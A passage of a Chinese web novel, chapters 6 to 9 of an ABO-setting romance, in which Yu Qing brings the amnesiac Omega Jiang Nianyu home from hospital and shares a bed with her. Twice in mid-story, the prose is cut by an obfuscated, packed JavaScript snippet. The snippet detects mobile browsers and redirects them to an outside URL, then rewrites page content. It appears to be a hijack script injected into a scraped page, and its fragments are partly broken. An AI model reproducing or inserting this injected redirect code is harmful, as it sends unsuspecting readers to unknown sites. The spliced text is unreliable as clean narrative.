那被她抓住的手指明晃晃的摆在太阳地里,说话的功夫就不顾虞清的意愿要拉她走。 而江念渝就在虞清身后看着。 神色冷冷。 那方才还怯怯的眉头骤然皱起,充满杀气,好似凶兽察觉到自己的领地被人入侵。 她太熟悉这样的天真。 以至于她一眼就看出,她们是同类。 江念渝攥着虞清衣摆的手紧了起来,生怕虞清如小女孩所愿。 可虞清也不会如所有人所愿,她看着小女孩可怜的样子,告诉她:“我给你找护……” 不等虞清说完,着急的呼唤就从走廊闯进病房:“小雨!小雨!请问有没有人看到一个七八岁的小女孩,梳着两个双马尾。” 听到女人描述的特征,虞清不由得低下头,接着就看到小女孩脸上里不情愿的神色。 果然。 虞清立刻拎起小女孩的手,把她从江念渝的病床旁拎了出去:“你好,你这是你的孩子吗?” 满脸慌张的女人刹住步子,焦急瞬间变成了喜悦:“是的,是的!谢谢您!” “小雨,妈妈跟你说了不要乱跑,吓死妈妈了。”女人失而复得,紧张的抱住了小女孩。 而这个小女孩也一转刚刚的平静,扑在女人怀里哭了起来:“妈妈……” 虞清在一旁看着,觉得这场景有些熟悉,又哪里不对。 只是不等她反应,女人就抱着小女孩站了起来:“谢谢你,小姑娘。” 虞清忙道:“举手之劳。” “小姑娘,真的太谢谢您了,我就这一个孩子,要是真丢了,我真不知道……”女人哽咽着不敢设想下去,对虞清很是感激,说着还要给她掏钱。 “别别别。”虞清赶忙拒绝,“医院人多,您与其这样,还不如把孩子看好,别再看丢了。” 她是真怕女人再想出什么别的报答方式,接着说:“我有病人要照顾,她很需要我,就不跟您多聊了。” 医院的都是病人,女人闻言顿时不再多拉着虞清感谢,抱着女儿离开了。 小插曲无伤大雅,就像床边的帘子一样,抖抖都没了。 可并不是所有事,抖一抖都能没有。 “都没……”虞清刚走回病房,想告诉江念渝没事了,话没出来就屏住了。 江念渝跪坐在床上,修长的指骨扣在她敞开的病号服上。 昨夜的雨把天空冲刷的湛蓝,白光洋洋洒洒泼在她身上,半遮不掩的露出一侧的身体。 她还保持着刚才的样子,锁骨沿着她的肩膀画出条白皙清冷的线。 这人白的很干净,又瘦得纤细,好像被春雨砸了一夜,垂得要掉下来的山茶花。 不会有别的Omega比她还要漂亮了。 虞清脑袋里闪过这么一句话,接着才好似回过神来一样,忙低头别过自己的视线,做足了非礼勿视的礼貌。 可江念渝却完全没有了刚才被小女孩窥探身体时的害怕神情,反而跟更早时一样,不以为然的给虞清“坦诚相见”,轻声提醒她:“不换药?” 是啊,是该换药了。 虞清轻吸一口气,心里默念着非礼勿视,坐到江念渝身后给她上药。 诊断书里显示,江念渝是后背着地,背后是受伤最严重的地方。 那原本平坦白皙的肌肤结了痂,青青紫紫布满淤痕,叫人看的触目惊心。 虞清眉头紧锁,不由得觉得:信息素也并不是什么值得追求的好东西。 这个abo世界看起来又好又不好。 身为Beta的她,以后也要活得更加小心才是。 虞清想着,手上的动作也做得愈发小心。 她怕弄疼了江念渝。 却不想自己的吐息此刻正温热的落在江念渝的后背,轻缓又沉重。 Omega的感知力比其他两种属性优越得多,江念渝静静的接受虞清给自己上药,清晰的感受着她的对自己的怜惜。 伤口的疼痛来的明显,昨晚她嗅到的味道也同样明显。 比起缓解疼痛的薄荷,江念渝更喜欢虞清不小心落在她伤口上的呼吸。 江念渝唇瓣轻咬,贪婪地又嗅了一口虞清的味道。 她很久没感觉到这样的安心了,似乎在她失去的记忆里她从没有安心过。 她好想要虞清一直在她身边。 空白的记忆是最肥沃的土壤,新生出的思绪不断的分出枝杈,正不遗余力的重新建立起江念渝跟这个世界的联系。 她残存的本能在面临威胁时,抽刀应对。 在面对伤痛时,压住自己的情绪,冷淡克制,面无表情。 可她现在“新生”的本能也在蠢蠢欲动。 她想以后都和虞清一起吃早餐,让她帮自己上药。 她们会在这被帘子围起的地方聊天说话,到了太阳落山的时候就一起睡下。 依赖欲从江念渝的后背蔓延开来。 也无关爱与不爱,没有记忆的人需要一个锚。 窗外的清风缓缓吹拂而过,江念渝感受着虞清指腹在自己背后小心翼翼的挪动。 欲|望好似雏鸟的羽毛,逐渐丰盈起来。 刚刚虞清在帘子外对小女孩妈妈说的话,江念渝都听到了。 既然她说她要照顾自己。 既然她知道自己需要她。 那她们大抵可以一直在一起吧。 忽的,窗外吹起一阵杂风,叫茂盛的树梢纷纷抖动起来,好像一阵轻蔑的嗤笑。 笑她的天真。 . 给江念渝上完药,虞清就去护士站交登记表了。 虽然上面基本没什么信息,唯一的年龄都是她看江念渝的长相估计的,但虞清还是希望医院能尽快帮江念渝找到她的家人。 “这有些麻烦啊。”护士长看着近乎空白的登记表有些苦恼,“她真的什么都不记得了吗?” “不记得了。”虞清摇头,“昨天我问她叫什么名字,她头疼的脸都白了。今早我又问了问,她还是跟我摇头,看起来什么都没想起来。” “脑震荡的确有失忆的概率。”昨天负责江念渝的医生端着一个大保温杯走了过来,“从检查看,这位小姐身体没有任何问题,应该是脑震荡引发的暂时失忆,或许过一阵就想起来了。” 护士长也没有那么悲观:“警察要明天才能来咱们医院,到时候我们也重点让警察留意一下,看看能不能从系统找到她。” “还会找不到吗?”虞清脱口而出。 护士长和医生顿时一副小孩的眼神看虞清:“Alpha和Omega是人口登记最大的缺口,很容易出现信息更新不及时,丢失档案的情况。” 虞清眨眨眼,有点听懂,又有点听不懂。 她突然想起很多太太为了方便Alpha和Omega产生交集,有不少刻意为之的灰色私设。 这个登记系统好像就是这个世界的私设。 可这样为了推动主角感情变化的私设,有没有想过她们这些普通人啊! 虞清忧心忡忡:“如果不知名小姐一直记不起她是谁,警察也查不到她的身份,会怎么样?” “这……大概率是要送到收容所了。”护士长面露不忍。 虞清皱眉,直觉告诉她:这个收容所,好像并不是什么很好的地方。 “这个收容所里都是什么样的人?” “收容所嘛,顾名思义,就是收容社会上的一些无家可归的人,我有个朋友在那里做义工,她说,最近无家可归的人越来越多,收容所顾不过来,蛮乱的。” “而且如果可以,谁会让自己无家可归呢?收容所里大部分都是有缺陷的Alpha或者Omega。有的是身体缺陷,有的是性格缺陷。不少Alpha都会故意欺负Omega,尤其是那些长得又乖又漂亮的……” 夜色寂寂,零散的星星落在空中,好像被谁遗失的碎钻。 虞清躺在她的陪护床上辗转反侧,脑袋里都是白天跟护士长的对话。 护士长的这个形容,就差写不知名小姐的名字了。 虞清挪着脑袋枕在手臂上,沉默的望向进入梦乡的江念渝。 月影透过窗玻璃落进病房,好似在江念渝的脸上蒙了一层纱。 她睡的稳,侧着身子主动朝着虞清的方向,淡色的薄唇微微张着,呼吸也平静,像是从不对人设防的小动物。 她这么漂亮,这么乖,怎么能让人欺负呢? “最起码要知道自己的名字吧,不知道名字怎么在社会上生存呢?” 护士长的话又飘到了虞清耳边,好像给虞清指明了一个方向,却又没什么用。 她该上哪里去得到不知名小姐的名字呢? “在想什么?” 清冷的嗓音在这夜的安静下格外疏离,猝不及防的飘进了虞清的耳朵。 她愣了一下,回神就看到刚才还睡着的人不知道什么时候睁开了眼睛。 那双婴儿蓝的眼睛正静静的注视着她,月亮倒影在她干净的瞳仁里,她的眼睛里好像有说不完的悲伤,看上去却又是那样平静深邃。 咚咚,咚咚。 虞清的眼睛缓慢的眨着,完全比不上心跳的速度。 她不知道是不是自己的错觉,不知名小姐跟她的距离似乎有些太近了,近的好像能数清楚对方的眼睫。 “我……”虞清慌不择路,下意识诚实的回答了江念渝的问题,“不知名小姐还是没有想起自己的名字吗?” 江念渝没有犹豫,对虞清摇了摇头:“没有。” 她回答的冷淡笃定,好像又能蒙混过关。 可女人尖锐的声音又一次闯入她的脑海,惩罚她的无情。 ——“江念渝!你听到没有!你忘记这一切,迟早是会被人抛弃的!!” 惊惧在江念渝的脑袋里瞬间膨胀,繁殖,叫她平静的神色一瞬间面色惨白如纸,身体紧绷。 虞清顿时察觉到不对,忙去握江念渝的手:“对不起,我不该问你名字的,对不起。” “没有。”江念渝冷静的摇摇头,额发下盖着一层虚汗。 在虞清懊悔的道歉声中,她更加专横的把脑袋里尖锐的记忆驱赶了出去。 她不想想起这些记忆。 它们让她觉得痛苦。 这夜好安静,安静的好像能听到所有人的心声。 江念渝借着玻璃下的月光,静静的注视着虞清,声色平淡的试探问她:“你很想我想起自己的名字吗?” 虞清是真怕自己如果告诉不知名小姐,她必须想起点什么,她今晚会陷入更大痛苦,连忙否认:“也没有那么想啦。” “我就是,就是喜欢睡前胡思乱想,哈,哈,睡觉吧,没事儿。” 这话说得让人松一口气,江念渝也点点头,乖巧的在虞清的注视下闭上了眼睛。 只是虞清看不到,江念渝闭上眼睛的前一秒还在望着她。 她感觉得到虞清有什么心事困扰,好像还是关于自己的,可她并不想告诉自己。 为什么呢? 江念渝困惑,觉得有些难以入眠。 只是须臾片刻,Omega贪婪的本性就叫她将虞清的味道悉数吞下,哄着她重新进入了梦乡。 . 不明白的事,梦里不会有答案。 但第二天就会有人给江念渝答案。 翌日清晨,虞清同昨天一样起床就直奔医院餐厅。 江念渝醒来,就看到陪护床被规矩的放在墙根。 她主动架起小桌板,猜测虞清会给她带什么样的早餐回来。 接着周围的帘子就动了一下。 江念渝期待的看过去。 却不想那张她分外讨厌的脸钻了进来。 是昨天闯进来的小女孩。 她手里拿着个漂亮的小蛋糕,进来就放到了江念渝的桌板上:“大姐姐,妈妈让我来找你道歉,昨天是我错了,不该闯进来,对不起大姐姐,这个小蛋糕给你赔礼。” 这孩子表现的太乖巧,看到面前的小蛋糕,江念渝有种以小人之心度君子之腹的感觉。 她紧抿着嘴,犹豫了一下,还是决定用算得上友好的口气对这个小女孩说:“没什么,下次不要……” 只是不想,自己的话还没说完,小女孩就打断了她:“只是大姐姐,另一个姐姐呢?她去哪里啦?” 小女孩笑的天真无邪,垫着脚,以一种入侵者的姿势走到了江念渝的病床前:“我听说你要被送到收容所去了,因为那个姐姐不要你了。” 虞清:(撸袖子)谁在欺负我老婆! . 今天评论依旧红包包哦~ 作者有话说 显示所有文的作话 第4章 第四章 7. 第七章 家是什么。 虞清是个孤儿,一出生就被丢到了孤儿院外的垃圾桶旁。 孤儿院的孩子总喜欢畅想自己有爸爸妈妈的生活,虞清也不例外。 她想她的家一定有柔软的床,爸爸妈妈也很爱她。 或许命运也愿意眷顾她一次。 十岁那年,虞清梦想成真了,一对来孤儿院的教师夫妇一眼相中了她。 虞清有了自己的名字,有了自己的卧室。 她兴致勃勃,将养父母这间四楼的教职工福利房定义为家,哪怕后来养父母有了自己的孩子,她被赶出了自己的卧室。 直到成年那天,虞清坐在养父母对面,翻开了递给她的本子。 上面密密麻麻的记着的都是她花的一分一毫,甚至还有她不小心弄脏的妹妹的纸尿裤。 虞清看着原本温柔的养父母,忽然觉得他们陌生起来。 可谈恨,也说不上。 她只是知道了,这里从来都不是她的家。 搬家,还钱,逃离他们。 虞清原本跟朋友兴致勃勃的计划的暑假生活,就这样被养父母突如其来的索债额住了喉咙。 那时候老小区还有一月两百的合租房,房东挤挤巴巴的在里面塞了张双人床进去,躺上去就会吱呀呀的响。 这能算家吗? 虞清摇摇头,强迫自己快速进入睡眠,毕竟明天还要早起打工。 后来虞清住过很多地方,大学宿舍、合租房、整租房。 她可以跟任何一群人自信谈笑,和睦相处,每个人都说她很合群。 可只有她自己明白。 她对这些地方从来都没有过归属感。 直到那天,虞清在下班路上遇到了恋恋。 那只病得要死,跟小时候的她一样被丢在垃圾桶旁的小狗。 虞清把恋恋救回来的时候,她身上的毛都打结了,破破烂烂的,看不出一点边牧的样子。 她就给她梳毛,带她去看医生,每天变着花的骗她吃药,一个月的工资不够,她就掏出了自己的全部积蓄。 终于两个月后,恋恋被虞清拼了命的从阎王手里抢了回来。 老房子一楼潮湿,墙上都是青苔,人还能勉强住一住,大病初愈的小狗可不行。 虞清就一个人蹲在墙角,拿着铲子哼哧哼哧干了一天,把房子打扫的干干净净。 阳光落在小狗柔顺的长毛上,金灿灿的。 她跑起来,好像开了柔光滤镜。 一只小狗是那样的恣意快乐,叫虞清也感受到了活着的意义。 她想,她大概找到她的家了。 可惜这个家她只拥有了两年不到。 就在虞清拼命赚钱,终于有底气带恋恋搬去市中心六十平米的loft小公寓的时候,恋恋走了。 先天性心脏病突发。 虞清下班回来的时候就看到她窝在自己的小窝里,嘴巴里是她最喜欢的那只绿色小恐龙。 虞清当时还笑她懒,自己回家都不来迎接她。 可是接着迎接她的,就是小狗软趴趴垂在她手臂上的脑袋。 小狗的脑袋是那么轻,又是那么沉,砸的虞清一个踉跄,疼的眼泪止不住的往外流。 这只陪伴虞清度过无数个难熬日夜的小狗没能在虞清给她精心挑选的新家住一天,没能扒在充满阳光的阳台目送虞清上班一天。 搬家后,虞清就把恋恋的照片摆在了新家入户门最显眼的位置。 她知道,如果这只臭小狗还在,一定会每天都守在玄关前,摇着尾巴迎接她下班回家。 虞清也不知道这个房子算不算她第二个家。 或许从恋恋离开那日起,她就又成了没家的小孩。 原本虞清计划自己大概再在这个房子住四五年,攒钱买个足够恋恋跑来跑去的大房子。 却不想倒头睡了一觉,就来到了这个世界。 虞清不知道这个房子是原身的第几个家,就像她现在也不是很清楚这个房子究竟长什么样子。 夕阳笼罩过少女瘦挑的身形,将虞清的每一根发丝都染上不知道是希望还是毁灭的金色。 她蹲在江念渝面前,握着她的手。 邀请她跟自己共赴的,是一场未知的未来。 说不忐忑是假的。 所幸江念渝没有拒绝虞清的邀请。 她在虞清向她抛出这个橄榄枝的瞬间,就点了头。 她说:“好。” 她求之不得。 . 医院办事章程清晰,很快就给江念渝办好了出院手续和寄住,四方签字,存入医院档案。 警察见解决了一个头疼的问题,主动点了小炒菜请大家吃,也算给虞清和江念渝践行。 而护士长则在跟两人叮嘱注意事项的同时,送了江念渝一条漂亮的白裙子祝贺她出院。 楼道的风吹鼓起少女轻盈的裙摆,好似窗外飘落的薄云。 那婴儿蓝色的眼瞳倒映过一扇扇写着房门号的屋子,她平静又好奇,最终在一块写着2406的房门前停下。 “到家了。”虞清利落的输入房门密码,推开了房门。 自然的阳光瞬间从走廊生冷的人工光源里跳出来,朝江念渝扑了个满怀。 这个屋子三天没有人住了,主人的气味说浓不浓,说淡也不淡,逃不过Omega敏锐的鼻子。 起先江念渝还无所戒备跟着虞清进屋,等她放置物品,给自己找拖鞋。 可忽然间她就感觉有好多缩小版虞清从房子里钻出来,叽叽喳喳的携着她熟悉的气味,一个接一个朝她扑来。 江念渝眼瞳骤缩,顿感不妙。 她这才后知后觉的意识到一件令她感到兴奋又糟糕的事情—— 这是虞清的家。 这个家不用掩饰,明晃晃的充满了虞清的味道。 脖颈后的腺体在兴奋的跳动,抢先占据了江念渝的理智。 她贪婪的拥抱着朝自己扑来的气味小人,几乎就要幸福的被她们淹没吞噬。 而穿堂风涌进玄关,自然垂下的手指轻轻弹动,下一秒便紧握起来。 江念渝深吸了一口从走廊外涤换来的空气,克制着叫自己冷静下来。 不行。 起码现在还不可以。 “哒。” “这双鞋子没有穿过,以后就是你的啦。” 就在这个时候,一双白兔子拖鞋跳进了江念渝的视线。 虞清半弓着腰看着她,歪头扬起的眼睛明亮亮的,配合着她身上的味道,好像太阳。 江念渝眼瞳一颤,似有些不自然。 好似阴暗里呆久了的人,下意识不是要追逐太阳,而是自觉不该触碰到这么干净的东西。 好奇怪。 江念渝垂眼,默然意识到在她忘记的过去里,她可能并不是生活在阳光下的人。 “不喜欢?”见江念渝久久没有反应,虞清主动问她。 “怎么会。”江念渝不动声色的收起自己的思绪,将她的不堪、贪婪、越线、阴暗与潮湿统统藏在清冷乖巧的表象下。 她才不管自己能不能适应阳光,现在她在虞清这里,太阳就是她的。 小兔子的耳朵贴着纤细的脚踝,一晃一晃。 它紧紧的追着前面的小狗尾巴,几乎是寸步不离。 “这是厨房,炒油烟大的菜时可以拉上门。” “吧台晚上可以喝个小酒,然后把电视挪到斜对面,看个电影很舒服。” “洗衣机在阳台,吸尘器什么的也在这里。” “卫生间做了干湿分离,浴室在里面。” …… 虞清带着江念渝走进家里,给她介绍起了自己的房子,顺便也跟江念渝一起熟悉了遍这个家。 许是这个身体还残留着对房子的熟悉,虞清讲解起来熟练,没怎么漏破绽。 只是到了书房,她差点把原身出卖了。 “这是书房,上面是二楼卧室。”虞清说着,推开了楼梯下方的书房门。 虞清感觉原身应该是个爱看书的小姑娘,书房一整面墙的柜子里满满当当放的全是书。 她对这样的阅读量咋舌,跟江念渝一样,仰头欣赏起了原身的书海江山。 “你平时可以进来看书,够你看很久。”虞清想起在医院江念渝就找她要书,感觉她会喜欢。 说着,虞清就随便打开了面前的书柜,想拿本书出来给江念渝。 却不想放眼过去,她看到了很多眼熟,但不应该出现在这里的书—— 《转生异世界,失去Alpha身份的我成了吸血鬼的囚|鸟》 《穿越到没有abo的世界~我和她是否还可以百合花绽放》 《作为背叛S级Alpha的我,该如何向她赎罪》 …… 救命!这都什么跟什么啊! 原身原来喜欢看这种东西。 ……虽然她也很喜欢。 虞清对这些书实在是太熟悉了,她都不用把这些书抽出来,就知道它们的封面是怎样一副拿出来就该打码的画面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785388|174862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多犹豫一秒都是对自己这些年阅文无数的不尊重,虞清一下关上了这列书柜的门,无处安放的羞耻感笼罩着:“这个书柜没什么好看的……哈,哈哈。” 虞清笑的很干,江念渝不解的朝她歪了下头。 她实在不忍玷污她那双过分干净的眼眸,告诉她:“你要是想看书的话……就,就先看那几个柜子的吧,内容比较轻松。” 江念渝听着,乖巧的点了下头,暗自记下—— 这个柜子里的东西是虞清的宝贝,其他柜子的书都她可以乱看,唯独这里的书,她看的时候要小心,好好珍惜。 给江念渝介绍完书房,时间也不早了。 虞清注意到江念渝低垂着的眼睛已经在上下眼皮打架了。 是啊,这两天在医院她们不到十点就睡觉了,现在显然到了江念渝的睡觉时间。 可江念渝到家乖的过分,什么东西也不多碰,什么话也不多说。 就像新领进家的小动物,需要主人细心引导。 于是主人虞清主动跟她的小动物提议:“我们去看上面的卧室吧,看完正好休息。明天我不上班,剩下的事明天再做。” 江念渝闻言抬起了困倦的眼睛,果然对虞清的提议点了下头:“好。” “这就是我们的卧室。”虞清踩上最后一个节台阶,给江念渝展示她位于二楼的卧室。 原身的房子有公寓的通病,卧室上方有根突兀的大梁,和里面的墙形成一个长方形区域。 但设计师灵活,利用了这个长方形区域,在这边做了一个抬高的壁橱。 虞清从一侧入口探进去,就看到里面正好铺了一张榻榻米小床。 它跟外面卧室的床一墙之隔,好像是原身藏在这里的私密空间。 虞清看着柔软的被子正正好好卡在两面墙的中间,顿时安全感拉满。 只是在喜爱这块小区域之余,虞清又觉得哪里有些奇怪—— 既然原主都不怕自己收藏的本子被人发现,为什么还需要这样一个把自己藏起来的地方呢? 线索太少。 想不明白。 而且现在也不是推断这些的时候。 虞清转身看外面的江念渝,趴在地上热情的给她摇尾巴:“你睡这里吧,我睡在外面给你值班,怎么样?” 很好,很不错。 完全隐私的环境,对缺乏安全感的江念渝来说很具有诱惑力。 可江念渝依旧觉得不是最好。 她眼神游走,慢慢停在虞清位于壁橱外面的那张床上。 那是张很有分量的实木床,两个人睡绰绰有余。 粉色的床笠包裹着床垫,怎么动都不会被弄皱。 “睡衣。” 这么想着,江念渝的手里就被塞进了一套粉色的短袖短裤。 这是虞清刚刚从衣柜里翻找出来的。 她没想到她跟原身的习惯这么相似,舍不得穿的全新套装都被压在衣柜最下面。 “全新的,绝对没穿过,放心。”虞清拍拍江念渝手里的睡衣。 的确,这两套衣服都叠得方方正正,闻上去只有洗衣液的味道。 虞清拿着它们附着在布料上面的味道稍纵即逝,江念渝还没来得及细嗅,转眼就消失了。 这算什么放心。 江念渝捏了捏手里的衣服,就看到虞清抱着床被子又爬进了她待会要睡的壁橱,仔仔细细的在给她铺床。 虽然护士长说江念渝没什么大问题,开了一堆外敷内用的药,就让她出院了。 但虞清还是顾虑江念渝失忆这件事,又是给她铺被子,又是换枕头,连陪她睡觉的小玩偶都准备了好几只,力求一个让她宾至如归。 只是就在虞清尝试再给江念渝插上一盏小夜灯的时候,身形一挪动,就挤上了什么东西。 “唔。” 那东西发出一声吃疼的呜咽,微弱的声音清清冷冷好像某个人。 虞清猛然回头,不知道什么时候江念渝也挤进了这里,怀里还抱着虞清塞给她的玩偶兔子。 方才还宽敞的壁橱,一下变得逼仄起来,连人的呼吸都清晰无比的停在这方区域。 虞清的小腿就抵在江念渝的腰侧,赤着的脚毫无阻拦的感受着她温和细腻的肌肤。 空间一下逼仄起来,虞清感觉她的心跳不对。 可江念渝像是注意不到一样,又挪动起了她的身体,朝虞清凑过来。 她的婴儿蓝的眼睛微微低垂,双唇轻动:“虞清,我今晚可以和你一起睡觉吗?” 8. 第八章 夏日的闷热好像全都锁在了这间壁橱里,组成了一场不合时宜的盛夏。 热意顺着虞清的呼吸淌进她的喉咙,虞清感觉江念渝的兔子挤进了她的怀里,她的心脏快炸开了。 她们离得太近。 近的连呼吸都来不及消散在空中,就被对方吞进了嘴巴。 “滋滋。” 调整了好久的小夜灯终于接通了,电流一下照亮了这逼仄的空间。 虞清眼瞳下意识闭紧,再次睁开,江念渝的脸就骤然放大在她局促紧张的眸子里。 虞清眨了好几次眼,从没这么近的看过江念渝的那双眼睛。 那浅浅的蓝色以瞳孔为中心,向外扩散着细细密密的纹路,好像初春融化的深层冰川,装着清冷,装着纯真,干净得像婴儿的眼睛。 所以她提出的这个请求,也不会让人觉得她有什么别的想法。 而且…… 江念渝是Omega,还失忆,来到陌生环境会害怕想要人陪她很正常。 不用江念渝解释,虞清就自己给自己了一个合理的解释。 她悄悄抬手压了下自己的心脏,强行将此刻闷热暧昧的场景按下去,才勉强一本正经的从嘴巴里说出“可以”两个字。 . 逼仄的壁橱根本不能让两个人同时进出,虞清示意江念渝先退出去,自己冷静了好一阵,等着心脏不再乱跳了,这才慢吞吞的退出壁橱。 月影落在虞清的床上,描绘着一道纤细的身影。 江念渝已经换好了睡衣,乖乖巧巧的坐在一侧,看虞清出来了,稍稍掀开一点薄毯,好像等待虞清的示意,又好像在邀请她一样:“睡觉?” 虞清顿时步伐一滞,感觉自己真该倒到脑袋里的废料。 她生涩的滚了下喉咙,尽量让自己的声音听起来正常:“嗯,睡觉。” 虞清不知道两个女孩子睡觉需不需要分寸感,她也从来没有跟人在一张床上睡过。 所以她在走到床另一侧的时候,就格外有分寸感的主动贴边躺好,拉着一角毯子,盖好自己的肚脐眼。 虞清觉得自己做的太棒了,跟江念渝说:“晚安。” 房间安静极了,中央空调无声的输送着凉风。 虞清闭上眼睛,觉得夏夜似乎也不是那么难熬。 直到她话音落下两秒,江念渝声音接着响起:“什么是晚安?” 她声音轻轻,又透着点茫然。 好像她过去从来没有做过这样的事情。 虞清不解,这对她来说是习以为常的事情:“就是一种社交语言,晚上聊天结束的时候大家都这么说,就……也就这么说了。” “为什么大家都做的,你也要做呢?”江念渝不解,“这是‘晚安’的意思吗?” 那声音从虞清身后传来,好像天真的孩子在追问敷衍她的大人。 虞清顿了一下,突然意识到她成了小时候最讨厌的敷衍的大人。 床垫发出一阵摩擦声,虞清腾得转过身去,给足了江念渝认真:“不算。” “那是什么意思呢?”江念渝同样认真的看着虞清。 “我想想啊……”虞清若有所思。 思考是件漫长的事情,让房间一下安静下来。 江念渝不是浮躁的猎人,她的脸压在枕头上,有了点丰盈的肉感。 她静静的看着虞清的脸重新落入自己的眼瞳,没人能看到嘴角稍纵即逝的笑意。 过了有一会儿,虞清像是想起什么,眼睛一下亮了:“我记得我上学的时候流行过一个说法,就是把‘晚安’的拼音拆开重新注入新的读音,就会变成‘我爱你,爱你’。” 江念渝听着虞清的解析,茫然的摇了摇头:“不懂。” 比她刚刚故意问虞清“什么是晚安”,还要让她不解。 “这样。”虞清二话不说直接从毯子里拿过了江念渝的手,一边说,一边跟她比划,“‘我爱你,爱你’等于wan,an等于晚安。” 柔软的手指在掌心写写画画,划出一道道温热的痕迹。 江念渝刚刚的无感此刻加倍的从她的手中翻涌起,那种被指腹与指甲勾起的痒意沿着江念渝的生命线蔓延,跨过被人画上的等号,从她的动脉直抵心脏。 爱? 什么是爱? 透过虞清垂下的碎发,江念渝又嗅到了那股干净的味道。 抑制贴紧扣着躁动的腺体,她定定的注视着虞清的脖颈,藏在下面的血管流淌着人最新鲜的味道,就快让她忘了自己一开始追问“晚安”的理由。 但虞清记得。 她在江念渝的手掌比划完,嘿嘿的笑了一下:“是不是有点莫名其妙?” “但是,我那时因为这个含义,特别喜欢这个词。”虞清将自己的回忆分享讲给江念渝,“我想可能最初大家想出这个词,是希望对方晚上可以睡得安稳吧。” “尤其是你可以因为我的祝福,睡得安稳。”虞清眼含思绪,目光深邃。 “原来是这样。”江念渝点点头,平淡的眼睛看不出是不是懂了。 明明一开始提问的时候,她是懂的。 这夜,有的Omega心猿意马,收回去的手掌攥得发紧,自觉掉进了给别人设计的陷阱。 有的Beta上下眼皮开始打架,好像要说什么,可声音含含糊糊,还没说完就睡了过去。 均匀的呼吸声穿过安静的房间,没有转身,没有看似礼貌的楚河汉界。 江念渝跟虞清面对面的躺着,静静注视着熟睡的虞清。 她看她又睡成了毫无防备的样子,鼻尖轻轻耸动,细嗅着她的味道。 夜色浓重,挑高的落地窗前涂着一层压低的云。 困倦袭来前,江念渝唇瓣轻拨,鬼使神差的对那个睡着的人念了她今天新学的词:“晚安。” . 这夜,虞清做了梦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785389|174862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而梦里的人不会意识到自己在梦中,拖着疲惫的步伐就走回了家。 电子锁随着输入正确的密码应声开启,虞清刚拉开门就看到玄关的灯亮了。 她刚纳闷今天的灯这么灵光,一阵哒哒的脚步声就从她跟前响起,有只白金相间的小狗摇着她的尾巴,一下扑到了她身上。 “恋恋?!”虞清诧异。 小狗随之热情回应,响亮了回了虞清几声:“汪!汪汪!” 虞清简直不敢相信自己的眼睛,又不假思索的接受了这个不正常的现实。 她实在太想她的小狗了,来不及换鞋,就蹲下去抱住了她:“恋恋,妈妈好想你啊!让妈妈抱抱,看看瘦了没有。” 恋恋在世的时候就听得懂虞清说话,此刻两个爪子直接搭在了虞清的肩上。 虞清扎了个紧实的马步,熟练的将恋恋从地上抱了起来。 “没瘦,也没胖,真不错啊恋恋。”虞清用力揉着小狗的脑袋,不把她头顶的毛揉的乱糟糟的不罢休。 虞清已经好久都没有感受到这样的开心了。 她看着恋恋,眼尾嘴角都止不住的上扬。 她有好多东西想给她的小狗,大跨步的走到阳台的储物柜里,一把抱出了很多零食,一把又抱出许多玩具。 恋恋尾巴摇的飞起,从屋子这边跑到屋子那头,来来回回,跑了好久。 最后她躺到了虞清给她准备的狗窝里,面对琳琅满目的零食不知道选什么好。 虞清就靠着恋恋躺进了她的小窝,把它咬过次数最多的牛肉干递给了她:“吃吧,妈妈这里还有好多。妈妈现在能赚很多钱了,以后我们恋恋再也不用羡慕别人家的小狗了。” “汪汪!”恋恋瞬间开心的摇起了尾巴,大快朵颐的吃起了虞清手里的牛肉干。 看着自己的小狗终于吃上自己喜欢的东西,虞清眼睛里的泪水就止不住的打转。 她很用力的抱住了恋恋的脑袋,将自己整张脸都埋了进去。 “恋恋。” “恋恋……” 虞清不停的念着自己的小狗名字,细长的手指穿过一缕缕细长的毛发。 只是揉着揉着,她感觉手感不对。 她的小狗的毛应该没有这样的柔顺细腻。 也不会这样长。 “!” 瞬间,虞清就醒了。 阳光照在她的脸上,一睁眼,她就看到江念渝正被她紧紧搂在怀里,头发凌乱。 虞清心脏都停了。 错愕挤进了她充满怀念与难过的情绪里。 起先虞清还想装作无事发生,悄悄把自己的手收回来,然后乖乖滚到床边装睡。 谁知道她手臂才刚抽了一下,怀里埋着的那颗脑袋就抬了起来。 晨光里,那双婴儿蓝的眼睛正冷清又无辜的看着她。 虞清顿觉不妙。 接着就听到江念渝开口问她:“恋恋是谁?” 9. 第九章 恋恋是谁。 她很在意。 江念渝醒来就感到一阵不悦。 虞清身上的味道包围着她,可这一次她她却品尝到了另一种不同的情绪味道。 江念渝轻抬起眼,接着就带了点力气的压过虞清的手臂,跟她挪开了距离。 她不知道她的不悦从何而来,只是觉得很不开心。 她想从虞清的身上报复回来,可最后也只这样小小一下。 虞清被压得一下吃痛,却也没把江念渝枕着的手抽走。 她意识到自己的冒失,连忙道歉:“对不起啊,我不是故意的,我睡觉有点不老实。” 窗边的飞鸟阴影落在江念渝的脸上,一闪而过。 这并不是江念渝想要的答案,她的眼睛里铺着阴郁,却靠着那枚婴儿蓝的瞳色,全然被表面的懵懂清冷覆盖了。 “你还没有告诉我恋恋是谁呢?” “恋恋啊。”虞清被江念渝提醒,轻轻重复了一遍这个名字。 